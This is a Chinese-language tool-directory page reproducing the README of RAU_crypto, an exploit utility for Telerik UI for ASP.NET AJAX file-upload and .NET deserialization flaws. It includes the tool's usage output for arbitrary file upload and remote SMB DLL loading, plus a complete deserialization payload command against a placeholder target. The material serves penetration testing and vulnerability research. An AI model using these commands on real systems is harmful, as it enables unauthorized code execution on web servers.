Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
RAU_crypto — Telerik UI for ASP.NET AJAX 文件上传和 .NET 反序列化漏洞利用(CVE-2017-11317、CVE-2017-11357、CVE-2019-18935) | Kitploit
工具/GitHubGitHub/bao7uo/rau_crypto
加密/解密工具Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubbao7uo/rau_crypto

RAU_crypto

Telerik UI for ASP.NET AJAX 文件上传和 .NET 反序列化漏洞利用(CVE-2017-11317、CVE-2017-11357、CVE-2019-18935)

查看仓库
180506年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

RAU_crypto

Language

针对 Telerik UI for ASP.NET AJAX 的合并利用。

  • 文件上传漏洞 CVE-2017-11317 和 CVE-2017-11357 - 将自动上传文件
  • .NET 反序列化漏洞 CVE-2019-18935

现在支持测试目标能否从攻击者托管的 SMB 服务中拉取远程载荷。使用 Burp Collaborator 和/或 Responder 来协助测试必要前提条件是否满足。

为了成功利用,通常需要一个包含硬编码密钥的版本,或者需要知道密钥,例如通过泄露 web.config 的内容。该利用工具还支持对用于 Telerik.Web.UI.WebResource.axd?type=rau 的 rauPostData 进行直接的解密和加密。

需求

  • python >= 3.6 并安装 pycryptodome (https://www.pycryptodome.org/en/latest/src/installation.html) - 通过 pip3 install pycryptodome 或 pip3 install pycryptodomex 安装

已发布在 exploit-db(旧版本)

  • https://www.exploit-db.com/exploits/43874/

另请参阅

我的另一个 Telerik UI 利用工具(针对 CVE-2017-9248)可能也会感兴趣。它位于:

  • https://github.com/bao7uo/dp_crypto

待办事项

  • 为更高版本添加缺失的 HMAC 功能。
  • 支持指定自定义密钥。
  • 用于执行混合模式 DLL 的命令行参数(在此期间可使用下面提供的 .NET 反序列化载荷示例)。
  • 用于测试和远程加载(SMB)混合模式 DLL 的命令行参数
  • 用于测试混合模式 DLL 的独立工具。
  • 提供混合模式 DLL 的源代码/编译说明。
  • 暴力破解版本。

注意 - 最后四项已完成但尚未发布。

漏洞

文件上传漏洞(CVE-2017-11317)由其他人发现,我认为归功于 @straight_blast @pwntester @olekmirosh 。在它公布后不久,我在工作中遇到了 Telerik 库,于是我对其进行了研究,并编写了此利用工具(2017年7月)。我还报告了相关的间接对象引用漏洞 CVE-2017-11357。

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

.NET 反序列化漏洞(CVE-2019-18935)由 @mwulftange 发现。

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

使用方法

root@kitploit:~
$ ./RAU_crypto.py -h

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Check remote SMB payload capability -r lhost url [proxy]

Load remote SMB dll payload         -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload  -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version:           2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS

$

示例 - 解密

解密截图

示例 - 任意文件上传

上传截图

自定义载荷(.NET 反序列化)

有关 .NET 反序列化自定义载荷的详细信息,有一篇由发现此漏洞的 @mwulftange 撰写的优秀文章,位于 Code White 博客,链接如下。

  • https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

更新 - Caleb Gross @noperator 提供了一个替代利用工具,它融合了本工具的功能,并附有一篇精彩的博客文章解释一切。也感谢 Caleb 对 RAU_Crypto 的贡献。

  • https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui

其他相关链接。

  • https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
  • https://threatvector.cylance.com/en_us/home/implications-of-loading-net-assemblies.html
  • https://thewover.github.io/Mixed-Assemblies/

示例 .NET 反序列化载荷:

root@kitploit:~
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

关于混合模式 DLL,请参阅我的另一个 GitHub 仓库:

  • https://github.com/bao7uo/MixedUp

特别感谢 @irsdl 对自定义载荷功能的启发。

致谢 @rwincey 对远程 DLL 功能的启发。

下载工具